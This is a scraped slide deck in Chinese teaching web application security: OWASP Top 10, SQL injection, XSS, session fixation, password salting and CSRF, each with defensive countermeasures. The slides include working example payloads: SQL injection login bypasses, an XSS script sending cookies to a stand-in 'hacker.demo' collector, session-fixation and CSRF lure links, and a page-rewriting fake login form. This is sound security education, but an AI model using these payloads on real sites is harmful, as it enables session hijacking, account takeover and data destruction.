狠狠撸

狠狠撸Share a Scribd company logo
caterpillar@openhome.cc
https://openhome.cc
网站系统安全及资料保护设计认知
1
接下來…
? 网站系统安全及资料保护设计认知(一)
– 資料(訊)保護重要性
– 認識 OWASP TOP 10
– SQL 注入(SQL Injection)
– 跨網站指令碼(XSS)
– Session 管理與安全
2
? 网站系统安全及资料保护设计认知(二)
– 密碼管理
– 跨網站冒名請求(CSRF)
– 再看 XSS
– 更多資源
3
資料(訊)保護重要性
4
https://www.zhihu.com/question/59788971/answer/169187187 5
為何重要?
? 經濟上的損失
http://news.ltn.com.tw/news/life/paper/1104829
6
為何重要?
? 法律上的要求
http://news.ltn.com.tw/news/politics/paper/389561
7
? 重大負面影響
– 政策
– 商譽
– …
http://www.ithome.com.tw/tech/90726
8
為何重要?
? 無法彌補的傷害
http://www.cw.com.tw/article/article.action?id=5079112
9
被忽略的安全
? 軟體品質
? 軟體開發
? 專責部門
? 專責人員
? 專門工具
? 安全教育
10
認識 OWASP TOP 10
? CVE 資料庫
– 通用漏洞披露
– 始於 1999
– 收集特定軟體漏洞並編號 CVE-YYYY-NNNN
– OpenSSL 'Heartbleed' vulnerability (CVE-
2014-0160)
11
https://cve.mitre.org/
? CWE 弱點清單
– 通用軟體弱點
– 始於 2005
– What is the difference between a software
vulnerability and software weakness?
12
https://cwe.mitre.org/
Software weaknesses are errors that can lead to
software vulnerabilities.
OWASP
? 始於 2001
? 研議協助解決網路軟體安全之標準、工具
與技術文件
? OWASP TOP 10 為其中計畫之一
13
https://www.owasp.org/
OWASP TOP 10
? 2002 年發起,針對 Web 應用程式最重大、
嚴重的十大弱點進行排名
? 首次 OWASP Top 10 於 2003 發布
? 2004 做了更新,之後每三年改版一次
? 最新正式版本為 OWASP Top 10 2013
14
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
15
https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%
2010%20-%202017%20RC1-English.pdf
OWASP ESAPI
? OWASP Enterprise Security API
16
https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
? Injection 攻擊
– SQL Injection
– XML Injection
– LDAP Injection
– Code Injection
17
SQL 注入(SQL Injection)
18
19
名稱:
密碼:
caterpillar
123456
20
名稱:
密碼:
caterpillar
' OR '1'='1
21
Robert'); DROP TABLE STUDENTS; --
Derper
SQL Injection 危害
? 迴避認證
? 竊取資料
? 改寫資料庫內容
? 讀寫伺服器上的檔案、執行程式
? …
22
23
SQL Injection 防範
? 避免串接字串方式建立 SQL
24
Java
Python
? 留意串接字串的變體
25
Python
? Escape 特殊字元
– (ESAPI.encoder().encodeForSQL())
? 輸入驗證(伺服端)
– 黑名單(Black List)
– 白名單(White List)
26
SQL Injection 防範
跨網站指令碼(XSS)
27
? 變化形式
– Reflected XSS(First-order XSS)
– Stored/Persistent XSS(Second-order XSS)
– DOM-based/Local XSS
? 危害
– 會話劫奪(Session hijacking)
– 釣魚(Phishing)
– XSS 蠕蟲
– …
28
2010 Twitter
Session hijacking
? 某網站搜尋功能回送查詢字串
29
Could not find any documents including "foo"
Search foo
http://xss.demo/search?keyword=foo
30
<b>foo</b>Search
http://xss.demo/search?keyword=<b>foo</b>
Could not find any documents including "<b>foo</b>"
http://xss.demo/search?keyword=<b>foo</b>
31
<script
language='javascript'>document.write(document.cookie)</script>
Search
Could not find any documents including "<script
language='javascript'>document.write(document.cookie)</script>"
http://xss.demo/search?keyword=Could not find any documents including "<script …
SESSION ID
32
<script language='javascript'>document.write('<img
src=/slideshow/ss-77697760/77697760/"http:/hacker.demo/collect?sid=& + document.cookie +
'">');</script>
http://xss.demo/search?keyword=
<script language='javascript'>
document.write('<img
src=/slideshow/ss-77697760/77697760/"http:/hacker.demo/collect?sid=&
+ document.cookie +
'">');
</script>
33
http://xss.demo/search?keyword=<script
language='javascript'>document.write('<img
src=/slideshow/ss-77697760/77697760/"http:/hacker.demo/collect?sid=& +
document.cookie + '">');</script>
http://xss.demo/search?keyword=%3Cscript%20langua
ge%3D'javascript'%3Edocument.write('%3Cimg%20src
%3D%22http%3A%2F%2Fhacker.demo%2Fcollect%3Fsi
d%3D'%20%2B%20document.cookie%20%2B%20'%22
%3E')%3B%3C%2Fscript%3E
URL Encoding
34
<a href
="http://xss.demo/search?keyword=%3Cscript%20language%3D'j
avascript'%3Edocument.write('%3Cimg%20src%3D%22http%3A%
2F%2Fhacker.demo%2Fcollect%3Fsid%3D'%20%2B%20document.
cookie%20%2B%20‘%22%3E')%3B%3C%2Fscript%3E">美女走光
圖^o^</a>
http://site.demo/share
美女走光圖^o^
35
http://xss.demo/search?keyword=%3Cscript%20language%3D'javascript'%3Edocument.
晚來一步…圖被刪了…
Reflected XSS
36
xss.demo
hacker.demo
美女走光圖^o^
http://site.demo/share
1. 按下鏈結
2. 查詢
3. 傳回結果
4. 傳送 session id
現代瀏覽器的安全
37
XSS 基本防範
? 強化輸入驗證
– 黑名單
– 白名單
– (ESAPI.validator())
– (OWASP Java HTML Sanitizer)
? 對輸出進行編碼
– (ESAPI.encoder().encodeForURL())
– (OWASP Java Encoder Project)
38
Session ID?
? 被拿走了又如何?
? HTTP 會話基本原理
– 每個請求對伺服器來說都是新的訪客請求
– 每次請求時主動告知伺服器必要的資訊
39
使用隱藏欄位
40
也不一定要放在隱藏欄位裏
放在 JavaScript 裏也行
有人就是會放不該放的東西
41
42
使用Cookie
43
? 設定 Cookie
? 取得 Cookie
44
危險的範例
45
危險的範例
46
使用URL重寫
47
48
(Http)Session API
49
50
51
Session Fixation 攻擊
? 誘使受害者使用特定的 Session ID
– Session ID 透過 URL 參數指定時容易被利用
52
53
sidfix.demo
1. 取得 sid2. 放入鏈結
<a
href="http://sidfix.demo/login;sid=8
51BB160B811634B03EDD08B60BFD
98D">美女走光圖</a>
美女走光圖^o^
3. 點選鏈結
4. 喔?需要登入?沒問題!
5. Got it!
Session Fixation
Session 防範對策
? 不從 GET、POST 參數取得 Session Id?
– Cookie 是可以偽照的
? 使用 HTTPS
? 不將 Session ID 用於 URL
– Referer 可能洩漏 Session ID
? 不採用 Session ID 預設名稱
54
Session 防範對策
? 設定 Session 之逾時
? 登入後重新產生 Session ID
? 重要操作前進行二次驗證
? 正確設定 Cookie 的 Domain、Secure、
HttpOnly
? (啟用伺服端軟體的 Session Fixation 自
動化保護機制)
55
Session 錯亂?
? 來自數個真實的案例
56
// 這是一個 Servlet 內部
private String name;
private String passwd;
@Override
protected void doPost(
HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
name = request.getParameter("name");
passwd = request.getParameter("passwd");
if(login(name, passwd)) {
List data = query(name);
...
}
}
57
安全的前題
在於
熟悉採用的技術
密碼
58
這封信透露了哪些訊息?
59
這句話透露了哪些訊息?
http://www.setn.com/news.aspx?newsid=260280
60
它的密碼是明碼?
明碼怎麼了?
61
https://unwire.hk/2012/07/13/statistics-of-450-000-leaked-yahoo-accounts/news/
使用雜湊函式
? SHA-1、MD5
62
https://kknews.cc/zh-tw/tech/aaxnrv.html
63
彩虹表(Rainbow Tables)
? 雜湊值與明文之比對
64
Secured Salted
? 在密碼雜湊時加入鹽值(亂數)
– UUID 或其他夠長且唯一的亂數
– 每個使用者產生不同的鹽值
? 分別儲存鹽值與雜湊值
? (驗證時取得使用者輸入之密碼與儲存之
鹽值進行雜湊,然後與儲存之雜湊值比對)
65
66
這句話透露了哪些訊息?
http://www.setn.com/news.aspx?newsid=260280
暴力法
67https://www.teamsid.com/worst-passwords-of-2014/
68
預設密碼?
69
http://www.ithome.com.tw/news/111843
密碼強度
70
? 傻瓜密碼 Out
? 規則越少越好
? 字元與數字夾雜
? 長度越長越好
社交工程
71
https://tw.voicetube.com/videos/20607
HTTPS
72http://www.ithome.com.tw/news/115148
73
跨網站冒名請求(CSRF)
? Cross-site Request Forgery
? 使用者通過驗證且 Session 未過期
? 授權、存取控制設計不良
? 在使用者不知情下進行特定行為
– 修改密碼、轉帳、自動發文、加好友…
74
1. 登入網站
2. 刪除專案
http://webapp.com/project/1/destroy
75
1. 寄送郵件
<img
src=/slideshow/ss-77697760/77697760/"http:/webapp.com/
project/1/destroy">
2. 登入後發現有郵件通知
3. 觀看郵件,專案 Bye!
GET 的錯?
? GET 應用於等冪(Idempotent)操作
– 多次 GET 的結果應相同
– 不改變執行結果,通常不會改變伺服器狀態
? 使用 GET 確實降低了 CSRF 的難度
? 不過也可以透過 POST 來發動類似的請求
76
77
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://webapp.com/account/destroy';
f.submit();
return false;">好康在這裡</a>
<img src=/slideshow/ss-77697760/77697760/"http:/www.harmless.com/img" width="400"
height="400" onmouseover="..." />
滑鼠略過圖也可以 …
利用一些 JavaScript 寫些 Ajax 請求,都有可能…
CSRF 防範
? 重新認識 HTTP 請求方法
– https://openhome.cc/Gossip/Programmer/
HttpMethod.html
? 使用 Request Token
– 不少 Web 框架有內建
– OWASP CSRFGuard
? 不依賴 Session Id 作為身份驗證
? 重要行為前要求重新認證與授權
78
79
Django
80
CSRF 防範
? 重新認識 HTTP 請求方法
– https://openhome.cc/Gossip/Programmer/
HttpMethod.html
? 使用 Request Token
– 不少 Web 框架有內建
– OWASP CSRFGuard
? 不依賴 Session Id 作為身份驗證
? 重要行為前要求重新認證與授權
81
再看 XSS
? Reflected XSS
? Stored/Persistent XSS
? DOM-based/Local XSS
82
Samy
? 2005 年 Samy 跟女友打賭他在 MySpace
上有很多粉絲,將他設成英雄(Hero)。
? Samy 寫了一隻 Stored/XSS 蠕蟲,因為散
播太快而導致 MySpace 當機
? Samy 當時被美國秘密警察逮捕,判三年緩
刑與 90 天的社區服務。
83
84
http://www.ithome.com.tw/node/63493
85
攻擊用的 JavaScript 會儲存在資料庫
? 推文
? HTML
86
http://www.guardian.co.uk/technology is the best!
<a href="http://www.guardian.co.uk/technology"
class="tweet-url web"
rel="nofollow">http://www.guardian.co.uk/technology</a> is
the best!
? 推文
? <a> 變成
87
<a
href="http://a.no/@";onmouseover=";$('textarea:first').val
(this.innerHTML);$('.status-update-
form').submit();"class="modal-overlay"/ class="tweet-url
web" rel="nofollow">
http://a.no/@";onmouseover=";$('textarea:first').val(this.
innerHTML);$('.status-update-
form').submit();"class="modal-overlay"/
DOM-based XSS
? 直接利用客戶端 JavaScript
? (伺服端未參與其中的流程)
88
<html>
<title>Welcome!</title>Hi
<script>
var pos = document.URL.indexOf("name=") + 5;
document.write(
document.URL.substring(pos,document.URL.length)
);
</script>
<br>Welcome to our system…
</html>
89
http://xss.demo/welcome?name=Justin
你想要的…
90
http://xss.demo/welcome?name=<script>alert('XD');</script>
他想要的…
改寫畫面
91
http://xss.demo/welcome?name=<script>document.getElementsByTagName("html")[
<script>document.getElementsByTagName("html")[0].innerHTML="Name: <input
type='text'/><br>Password: <input type='password'>";</script>
92
http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
其他(資源)
? Understanding the OWASP Top 10
Vulnerabilities
? The OWASP Top Ten and ESAPI
? Cookie & Session & CSRF
? [Nodejs] Security: Broken
Authentication
? Ruby on Rails Security Guide
? 駭客手法解析~你不能不知的資安問題!!
93
94
在漏洞被發現之後…
95
在漏洞發生之前…
? 軟體品質
? 開發流程
? 專責部門
? 專責人員
? 專門工具
? 安全教育
96
Justin Lin
caterpillar@openhome.cc
https://openhome.cc
Thanks
97

More Related Content

What's hot (20)

Palo alto outline course | Mostafa El Lathy
Palo alto outline course | Mostafa El LathyPalo alto outline course | Mostafa El Lathy
Palo alto outline course | Mostafa El Lathy
Mostafa El Lathy
?
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
Software Guru
?
Privileged Access Management - 2016
Privileged Access Management - 2016Privileged Access Management - 2016
Privileged Access Management - 2016
Lance Peterman
?
0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for Identity0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for Identity
Nikhil Mittal
?
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
MarketingArrowECS_CZ
?
WAF ASM / Advance WAF - Brute force lior rotkovitch f5 sirt v5 clean
WAF ASM / Advance WAF - Brute force   lior rotkovitch  f5 sirt v5 cleanWAF ASM / Advance WAF - Brute force   lior rotkovitch  f5 sirt v5 clean
WAF ASM / Advance WAF - Brute force lior rotkovitch f5 sirt v5 clean
Lior Rotkovitch
?
Linux privilege escalation
Linux privilege escalationLinux privilege escalation
Linux privilege escalation
SongchaiDuangpan
?
[AVTOKYO 2017] What is red team?
[AVTOKYO 2017] What is red team?[AVTOKYO 2017] What is red team?
[AVTOKYO 2017] What is red team?
Tomohisa Ishikawa, CISSP, CSSLP, CISA, CISM, CFE
?
Advanced Threat Protection
Advanced Threat ProtectionAdvanced Threat Protection
Advanced Threat Protection
Lan & Wan Solutions
?
Sqlmap
SqlmapSqlmap
Sqlmap
Institute of Information Security (IIS)
?
Nessus Software
Nessus SoftwareNessus Software
Nessus Software
Megha Sahu
?
Тенденции киберугроз. Что необходимо знать?
Тенденции киберугроз. Что необходимо знать?Тенденции киберугроз. Что необходимо знать?
Тенденции киберугроз. Что необходимо знать?
Aleksey Lukatskiy
?
滲透測試 Talk @ Nisra
滲透測試 Talk @ Nisra滲透測試 Talk @ Nisra
滲透測試 Talk @ Nisra
Orange Tsai
?
DDOS ile Sald?r? Gizleme "Smoke Screening"
DDOS ile Sald?r? Gizleme "Smoke Screening"DDOS ile Sald?r? Gizleme "Smoke Screening"
DDOS ile Sald?r? Gizleme "Smoke Screening"
BGA Cyber Security
?
Asm bot mitigations v3 final- lior rotkovitch
Asm bot mitigations v3 final- lior rotkovitchAsm bot mitigations v3 final- lior rotkovitch
Asm bot mitigations v3 final- lior rotkovitch
Lior Rotkovitch
?
F5 DDoS Protection
F5 DDoS ProtectionF5 DDoS Protection
F5 DDoS Protection
MarketingArrowECS_CZ
?
Cyber Deception - AttivoNetwork
Cyber Deception - AttivoNetworkCyber Deception - AttivoNetwork
Cyber Deception - AttivoNetwork
Vu Duc Du
?
Beyond the mcse red teaming active directory
Beyond the mcse  red teaming active directoryBeyond the mcse  red teaming active directory
Beyond the mcse red teaming active directory
Priyanka Aash
?
Attack.pptx
Attack.pptxAttack.pptx
Attack.pptx
ISMT College
?
Privileged Access Management (PAM)
Privileged Access Management (PAM)Privileged Access Management (PAM)
Privileged Access Management (PAM)
danb02
?
Palo alto outline course | Mostafa El Lathy
Palo alto outline course | Mostafa El LathyPalo alto outline course | Mostafa El Lathy
Palo alto outline course | Mostafa El Lathy
Mostafa El Lathy
?
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
Software Guru
?
Privileged Access Management - 2016
Privileged Access Management - 2016Privileged Access Management - 2016
Privileged Access Management - 2016
Lance Peterman
?
0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for Identity0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for Identity
Nikhil Mittal
?
WAF ASM / Advance WAF - Brute force lior rotkovitch f5 sirt v5 clean
WAF ASM / Advance WAF - Brute force   lior rotkovitch  f5 sirt v5 cleanWAF ASM / Advance WAF - Brute force   lior rotkovitch  f5 sirt v5 clean
WAF ASM / Advance WAF - Brute force lior rotkovitch f5 sirt v5 clean
Lior Rotkovitch
?
Тенденции киберугроз. Что необходимо знать?
Тенденции киберугроз. Что необходимо знать?Тенденции киберугроз. Что необходимо знать?
Тенденции киберугроз. Что необходимо знать?
Aleksey Lukatskiy
?
滲透測試 Talk @ Nisra
滲透測試 Talk @ Nisra滲透測試 Talk @ Nisra
滲透測試 Talk @ Nisra
Orange Tsai
?
DDOS ile Sald?r? Gizleme "Smoke Screening"
DDOS ile Sald?r? Gizleme "Smoke Screening"DDOS ile Sald?r? Gizleme "Smoke Screening"
DDOS ile Sald?r? Gizleme "Smoke Screening"
BGA Cyber Security
?
Asm bot mitigations v3 final- lior rotkovitch
Asm bot mitigations v3 final- lior rotkovitchAsm bot mitigations v3 final- lior rotkovitch
Asm bot mitigations v3 final- lior rotkovitch
Lior Rotkovitch
?
Cyber Deception - AttivoNetwork
Cyber Deception - AttivoNetworkCyber Deception - AttivoNetwork
Cyber Deception - AttivoNetwork
Vu Duc Du
?
Beyond the mcse red teaming active directory
Beyond the mcse  red teaming active directoryBeyond the mcse  red teaming active directory
Beyond the mcse red teaming active directory
Priyanka Aash
?
Privileged Access Management (PAM)
Privileged Access Management (PAM)Privileged Access Management (PAM)
Privileged Access Management (PAM)
danb02
?

Viewers also liked (20)

OpenSCAD Workshop
OpenSCAD WorkshopOpenSCAD Workshop
OpenSCAD Workshop
Justin Lin
?
open() 與 io 模組
open() 與 io 模組open() 與 io 模組
open() 與 io 模組
Justin Lin
?
从模组到类别
从模组到类别从模组到类别
从模组到类别
Justin Lin
?
從 REPL 到 IDE
從 REPL 到 IDE從 REPL 到 IDE
從 REPL 到 IDE
Justin Lin
?
例外处理
例外处理例外处理
例外处理
Justin Lin
?
资料结构
资料结构资料结构
资料结构
Justin Lin
?
3D 之邏輯與美感交會 - OpenSCAD
3D 之邏輯與美感交會 - OpenSCAD3D 之邏輯與美感交會 - OpenSCAD
3D 之邏輯與美感交會 - OpenSCAD
Justin Lin
?
Python 起步走
Python 起步走Python 起步走
Python 起步走
Justin Lin
?
Java SE 7 技術手冊投影片第 04 章 - 認識物件
Java SE 7 技術手冊投影片第 04 章 - 認識物件Java SE 7 技術手冊投影片第 04 章 - 認識物件
Java SE 7 技術手冊投影片第 04 章 - 認識物件
Justin Lin
?
深入淺出 Web 容器 - Tomcat 原始碼分析
深入淺出 Web 容器  - Tomcat 原始碼分析深入淺出 Web 容器  - Tomcat 原始碼分析
深入淺出 Web 容器 - Tomcat 原始碼分析
Justin Lin
?
讓程式展現樂趣 玩出實驗精神與創造力
讓程式展現樂趣 玩出實驗精神與創造力讓程式展現樂趣 玩出實驗精神與創造力
讓程式展現樂趣 玩出實驗精神與創造力
Justin Lin
?
Java 8 與 retrolambda
Java 8 與 retrolambdaJava 8 與 retrolambda
Java 8 與 retrolambda
Justin Lin
?
Arduino、Web 到 IoT
Arduino、Web 到 IoTArduino、Web 到 IoT
Arduino、Web 到 IoT
Justin Lin
?
类别的继承
类别的继承类别的继承
类别的继承
Justin Lin
?
流程语法与函式
流程语法与函式流程语法与函式
流程语法与函式
Justin Lin
?
Python
PythonPython
Python
Shivam Gupta
?
资料永续与交换
资料永续与交换资料永续与交换
资料永续与交换
Justin Lin
?
《Python 3.5 技術手冊》第二章草稿
《Python 3.5 技術手冊》第二章草稿《Python 3.5 技術手冊》第二章草稿
《Python 3.5 技術手冊》第二章草稿
Justin Lin
?
Python Programming Essentials - M44 - Overview of Web Development
Python Programming Essentials - M44 - Overview of Web DevelopmentPython Programming Essentials - M44 - Overview of Web Development
Python Programming Essentials - M44 - Overview of Web Development
P3 InfoTech Solutions Pvt. Ltd.
?
Python Programming Essentials - M22 - File Operations
Python Programming Essentials - M22 - File OperationsPython Programming Essentials - M22 - File Operations
Python Programming Essentials - M22 - File Operations
P3 InfoTech Solutions Pvt. Ltd.
?
OpenSCAD Workshop
OpenSCAD WorkshopOpenSCAD Workshop
OpenSCAD Workshop
Justin Lin
?
open() 與 io 模組
open() 與 io 模組open() 與 io 模組
open() 與 io 模組
Justin Lin
?
从模组到类别
从模组到类别从模组到类别
从模组到类别
Justin Lin
?
3D 之邏輯與美感交會 - OpenSCAD
3D 之邏輯與美感交會 - OpenSCAD3D 之邏輯與美感交會 - OpenSCAD
3D 之邏輯與美感交會 - OpenSCAD
Justin Lin
?
Java SE 7 技術手冊投影片第 04 章 - 認識物件
Java SE 7 技術手冊投影片第 04 章 - 認識物件Java SE 7 技術手冊投影片第 04 章 - 認識物件
Java SE 7 技術手冊投影片第 04 章 - 認識物件
Justin Lin
?
深入淺出 Web 容器 - Tomcat 原始碼分析
深入淺出 Web 容器  - Tomcat 原始碼分析深入淺出 Web 容器  - Tomcat 原始碼分析
深入淺出 Web 容器 - Tomcat 原始碼分析
Justin Lin
?
讓程式展現樂趣 玩出實驗精神與創造力
讓程式展現樂趣 玩出實驗精神與創造力讓程式展現樂趣 玩出實驗精神與創造力
讓程式展現樂趣 玩出實驗精神與創造力
Justin Lin
?
Java 8 與 retrolambda
Java 8 與 retrolambdaJava 8 與 retrolambda
Java 8 與 retrolambda
Justin Lin
?
Arduino、Web 到 IoT
Arduino、Web 到 IoTArduino、Web 到 IoT
Arduino、Web 到 IoT
Justin Lin
?
流程语法与函式
流程语法与函式流程语法与函式
流程语法与函式
Justin Lin
?
资料永续与交换
资料永续与交换资料永续与交换
资料永续与交换
Justin Lin
?
《Python 3.5 技術手冊》第二章草稿
《Python 3.5 技術手冊》第二章草稿《Python 3.5 技術手冊》第二章草稿
《Python 3.5 技術手冊》第二章草稿
Justin Lin
?
Python Programming Essentials - M44 - Overview of Web Development
Python Programming Essentials - M44 - Overview of Web DevelopmentPython Programming Essentials - M44 - Overview of Web Development
Python Programming Essentials - M44 - Overview of Web Development
P3 InfoTech Solutions Pvt. Ltd.
?

Similar to 网站系统安全及资料保护设计认知 (20)

网站系统安全及资料保护设计认知 2019
网站系统安全及资料保护设计认知 2019网站系统安全及资料保护设计认知 2019
网站系统安全及资料保护设计认知 2019
Justin Lin
?
用户端攻击与防御
用户端攻击与防御用户端攻击与防御
用户端攻击与防御
Taien Wang
?
.NET Security Application/Web Development - Part II
.NET Security Application/Web Development - Part II.NET Security Application/Web Development - Part II
.NET Security Application/Web Development - Part II
Chen-Tien Tsai
?
Hiiir 資安講座 III 用户端攻击与防御
Hiiir 資安講座 III 用户端攻击与防御Hiiir 資安講座 III 用户端攻击与防御
Hiiir 資安講座 III 用户端攻击与防御
Hiiir Lab
?
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
Timothy Chen
?
伺服器端攻击与防御滨
伺服器端攻击与防御滨伺服器端攻击与防御滨
伺服器端攻击与防御滨
Taien Wang
?
Hiiir 資安講座 IV 伺服器端攻击与防御滨
Hiiir 資安講座 IV 伺服器端攻击与防御滨Hiiir 資安講座 IV 伺服器端攻击与防御滨
Hiiir 資安講座 IV 伺服器端攻击与防御滨
Hiiir Lab
?
颁测产辞锄耻.肠辞尘的结构
颁测产辞锄耻.肠辞尘的结构颁测产辞锄耻.肠辞尘的结构
颁测产辞锄耻.肠辞尘的结构
cybozutw
?
電腦網路 网路安全
電腦網路 网路安全電腦網路 网路安全
電腦網路 网路安全
bruce761207
?
Web security
Web securityWeb security
Web security
逸于 張
?
笔丑辫应用程序常见安全问题解析
笔丑辫应用程序常见安全问题解析笔丑辫应用程序常见安全问题解析
笔丑辫应用程序常见安全问题解析
mysqlops
?
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
Hacks in Taiwan (HITCON)
?
厂别蝉蝉颈辞苍1(更新20230205).辫诲蹿
厂别蝉蝉颈辞苍1(更新20230205).辫诲蹿厂别蝉蝉颈辞苍1(更新20230205).辫诲蹿
厂别蝉蝉颈辞苍1(更新20230205).辫诲蹿
ssuser9026c8
?
基础网页程式攻击检验
基础网页程式攻击检验基础网页程式攻击检验
基础网页程式攻击检验
Taien Wang
?
浅谈前端安全与规范(渔隐)
浅谈前端安全与规范(渔隐)浅谈前端安全与规范(渔隐)
浅谈前端安全与规范(渔隐)
tbmallf2e
?
网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert
ph4nt0m
?
.NET Security Application/Web Development - Part III
.NET Security Application/Web Development - Part III.NET Security Application/Web Development - Part III
.NET Security Application/Web Development - Part III
Chen-Tien Tsai
?
网站系统安全及资料保护设计认知 2019
网站系统安全及资料保护设计认知 2019网站系统安全及资料保护设计认知 2019
网站系统安全及资料保护设计认知 2019
Justin Lin
?
用户端攻击与防御
用户端攻击与防御用户端攻击与防御
用户端攻击与防御
Taien Wang
?
.NET Security Application/Web Development - Part II
.NET Security Application/Web Development - Part II.NET Security Application/Web Development - Part II
.NET Security Application/Web Development - Part II
Chen-Tien Tsai
?
Hiiir 資安講座 III 用户端攻击与防御
Hiiir 資安講座 III 用户端攻击与防御Hiiir 資安講座 III 用户端攻击与防御
Hiiir 資安講座 III 用户端攻击与防御
Hiiir Lab
?
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
Timothy Chen
?
伺服器端攻击与防御滨
伺服器端攻击与防御滨伺服器端攻击与防御滨
伺服器端攻击与防御滨
Taien Wang
?
Hiiir 資安講座 IV 伺服器端攻击与防御滨
Hiiir 資安講座 IV 伺服器端攻击与防御滨Hiiir 資安講座 IV 伺服器端攻击与防御滨
Hiiir 資安講座 IV 伺服器端攻击与防御滨
Hiiir Lab
?
颁测产辞锄耻.肠辞尘的结构
颁测产辞锄耻.肠辞尘的结构颁测产辞锄耻.肠辞尘的结构
颁测产辞锄耻.肠辞尘的结构
cybozutw
?
電腦網路 网路安全
電腦網路 网路安全電腦網路 网路安全
電腦網路 网路安全
bruce761207
?
笔丑辫应用程序常见安全问题解析
笔丑辫应用程序常见安全问题解析笔丑辫应用程序常见安全问题解析
笔丑辫应用程序常见安全问题解析
mysqlops
?
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
HITCON FreeTalk 2024 台灣駭客協會媒體小聚【議題一:資安地圖 - 資安領域與趨勢介紹】
Hacks in Taiwan (HITCON)
?
厂别蝉蝉颈辞苍1(更新20230205).辫诲蹿
厂别蝉蝉颈辞苍1(更新20230205).辫诲蹿厂别蝉蝉颈辞苍1(更新20230205).辫诲蹿
厂别蝉蝉颈辞苍1(更新20230205).辫诲蹿
ssuser9026c8
?
基础网页程式攻击检验
基础网页程式攻击检验基础网页程式攻击检验
基础网页程式攻击检验
Taien Wang
?
浅谈前端安全与规范(渔隐)
浅谈前端安全与规范(渔隐)浅谈前端安全与规范(渔隐)
浅谈前端安全与规范(渔隐)
tbmallf2e
?
网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert
ph4nt0m
?
.NET Security Application/Web Development - Part III
.NET Security Application/Web Development - Part III.NET Security Application/Web Development - Part III
.NET Security Application/Web Development - Part III
Chen-Tien Tsai
?

More from Justin Lin (20)

Ch14 簡介 Spring Boot
Ch14 簡介 Spring BootCh14 簡介 Spring Boot
Ch14 簡介 Spring Boot
Justin Lin
?
Ch13 整合 Spring MVC/Security
Ch13 整合 Spring MVC/SecurityCh13 整合 Spring MVC/Security
Ch13 整合 Spring MVC/Security
Justin Lin
?
Ch12 Spring 起步走
Ch12 Spring 起步走Ch12 Spring 起步走
Ch12 Spring 起步走
Justin Lin
?
Ch11 簡介 JavaMail
Ch11 簡介 JavaMailCh11 簡介 JavaMail
Ch11 簡介 JavaMail
Justin Lin
?
Ch10 Web 容器安全管理
Ch10 Web 容器安全管理Ch10 Web 容器安全管理
Ch10 Web 容器安全管理
Justin Lin
?
Ch09 整合資料庫
Ch09 整合資料庫Ch09 整合資料庫
Ch09 整合資料庫
Justin Lin
?
Ch08 自訂標籤
Ch08 自訂標籤Ch08 自訂標籤
Ch08 自訂標籤
Justin Lin
?
Ch07 使用 JSTL
Ch07 使用 JSTLCh07 使用 JSTL
Ch07 使用 JSTL
Justin Lin
?
Ch06 使用 JSP
Ch06 使用 JSPCh06 使用 JSP
Ch06 使用 JSP
Justin Lin
?
Ch05 Servlet 進階 API、過濾器與傾聽器
Ch05 Servlet 進階 API、過濾器與傾聽器Ch05 Servlet 進階 API、過濾器與傾聽器
Ch05 Servlet 進階 API、過濾器與傾聽器
Justin Lin
?
Ch04 會話管理
Ch04 會話管理Ch04 會話管理
Ch04 會話管理
Justin Lin
?
Ch03 請求與回應
Ch03 請求與回應Ch03 請求與回應
Ch03 請求與回應
Justin Lin
?
Ch02 撰寫與設定 Servlet
Ch02 撰寫與設定 ServletCh02 撰寫與設定 Servlet
Ch02 撰寫與設定 Servlet
Justin Lin
?
CH1. 簡介 Web 應用程式
CH1. 簡介 Web 應用程式CH1. 簡介 Web 應用程式
CH1. 簡介 Web 應用程式
Justin Lin
?
14. 進階主題
14. 進階主題14. 進階主題
14. 進階主題
Justin Lin
?
13.并行、平行与非同步
13.并行、平行与非同步13.并行、平行与非同步
13.并行、平行与非同步
Justin Lin
?
12. 除錯、測試與效能
